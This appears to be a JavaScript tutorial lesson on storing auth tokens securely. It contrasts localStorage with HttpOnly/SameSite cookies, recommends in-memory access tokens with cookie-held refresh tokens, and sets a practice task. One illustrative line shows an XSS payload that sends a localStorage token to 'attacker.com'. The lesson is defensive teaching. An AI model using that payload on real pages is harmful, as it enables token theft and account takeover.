-
Section 1: Getting Started
-
Section 2: Core Syntax and Types
-
Section 3: Strings and Numbers in Depth
-
Section 4: Control Flow
-
Section 5: Functions
-
Section 6: Objects and Arrays
-
Section 7: Maps, Sets, and Symbols
-
Section 8: Asynchronous JavaScript
-
Section 9: Object-Oriented and Prototypes
-
Section 10: The DOM
-
Section 11: Browser APIs
-
Section 12: Modern JavaScript (ES2015-ES2025)
-
Section 13: Functional Programming Patterns
-
Section 14: Error Handling and Debugging
-
Section 15: Testing
-
Section 16: Accessibility for JavaScript Developers
-
Section 17: Internationalization and Localization
-
Section 18: Performance
-
Section 19: Node.js Fundamentals
-
Section 20: Regular Expressions
-
Section 21: Design Patterns in JavaScript
-
Section 22: Security Basics
-
Section 23: Data Structures and Algorithms in JavaScript
-
Section 24: Practical Projects
-
Section 25: More Advanced Async Patterns
-
Section 26: More Object and Class Practice
-
Section 27: Working with Dates and Internationalization
-
Section 28: Web Components
-
Section 29: More DOM and Browser Practice
-
Section 30: Build Tooling for Vanilla JavaScript
-
Section 31: More Practice Projects
-
Section 32: Interview and Algorithm Practice
-
Section 33: Error Objects (MDN Reference)
-
Section 34: TypedArrays and Binary Data
-
Section 35: Reflection and Metaprogramming (MDN Reference)
-
Section 36: More Global Functions (MDN Reference)
167: Secure Storage of Tokens in the Browser
Is it actually okay to just put my JWT in localStorage?
I see this in a huge percentage of tutorials, and honestly, it's a bad habit. It's incredibly convenient because you just call localStorage.setItem('token', token) and it's there across page refreshes. But here is the problem: localStorage is accessible to any JavaScript running on your page.
Imagine you're using a third-party analytics library or a fancy markdown parser that has a known XSS (Cross-Site Scripting) vulnerability. An attacker could inject a small script that simply does fetch('https://attacker.com/steal?cookie=' + localStorage.getItem('token')). Just like that, your user's identity is gone, and the attacker has full access to their account until that token expires. I've seen this happen in production environments more often than I'd like to admit.
If I use cookies instead, aren't I just trading one problem for another?
You're thinking about CSRF (Cross-Site Request Forgery), and you're right to be concerned. If you store a token in a standard cookie, the browser sends it automatically with every request to your API. If a user clicks a malicious link on another site, that site can trigger a request to your server, and the browser will dutifully attach the cookie.
However, we have a "secret weapon" here: the HttpOnly flag. When your server sets the cookie, it should look something like this in the response header:
Set-Cookie: token=abc123xyz; HttpOnly; Secure; SameSite=Strict
The HttpOnly flag tells the browser: "Do not let any client-side JavaScript access this cookie." This completely kills the XSS attack I mentioned earlier; document.cookie will simply not show the token. Then, by using SameSite=Strict or Lax, you tell the browser not to send the cookie when the request originates from a different website, which effectively mitigates most CSRF attacks.
What is the "industry standard" way to handle this in a modern SPA?
If you're building a serious application, I usually recommend a hybrid approach. You don't want your short-lived Access Token sitting in a cookie forever, but you don't want it in localStorage either. Instead, use a Refresh Token and an Access Token.
- Refresh Token: Stored in an
HttpOnly,Securecookie. It has a long lifespan (days or weeks) and is used only to get a new access token. - Access Token: Stored in memory (just a plain JavaScript variable). It has a very short lifespan (15 minutes).
When the user refreshes the page, the JavaScript variable is wiped. Your app then makes a call to a /refresh endpoint. The server checks the HttpOnly cookie, validates the refresh token, and sends back a new access token in the JSON response. Your JS saves that in memory, and you're good to go. This way, the "crown jewels" (the refresh token) are invisible to JS, and the access token is only exposed for a tiny window of time.
// A simplified version of the memory storage pattern
let accessToken = null;
async function refreshAccessToken() {
// The browser automatically sends the HttpOnly refresh cookie here
const response = await fetch('/api/refresh', { method: 'POST' });
const data = await response.json();
// We store the access token in a variable, NOT localStorage
accessToken = data.accessToken;
}📋 Practical Task
Implement a Memory-Based Token Refresh Loop
You are tasked with upgrading a legacy authentication system. Currently, the app stores a JWT in localStorage, which the security team has flagged as a high risk. Your goal is to move the access token to memory and implement a refresh mechanism.
Requirements:
- Create a variable
let _token = null;to hold the access token. - Implement a function
getAccessToken()that returns the current token. - Implement an
ensureAuthenticated()function that:- Checks if
_tokenis null. - If it is null, it must call a mock API function
fetchNewTokenFromServer()(provided below) to retrieve a new token. - Updates
_tokenwith the result and returns it.
- Checks if
- Write a test call that simulates a user refreshing the page (starting with a null token) and successfully retrieving a token for an API request.
Provided Mock API:
async function fetchNewTokenFromServer() {
console.log("Requesting new token using HttpOnly cookie...");
return new Promise(resolve => {
setTimeout(() => resolve("eyJhbGciOiJIUzI1..."), 500);
});
}There are no comments for now.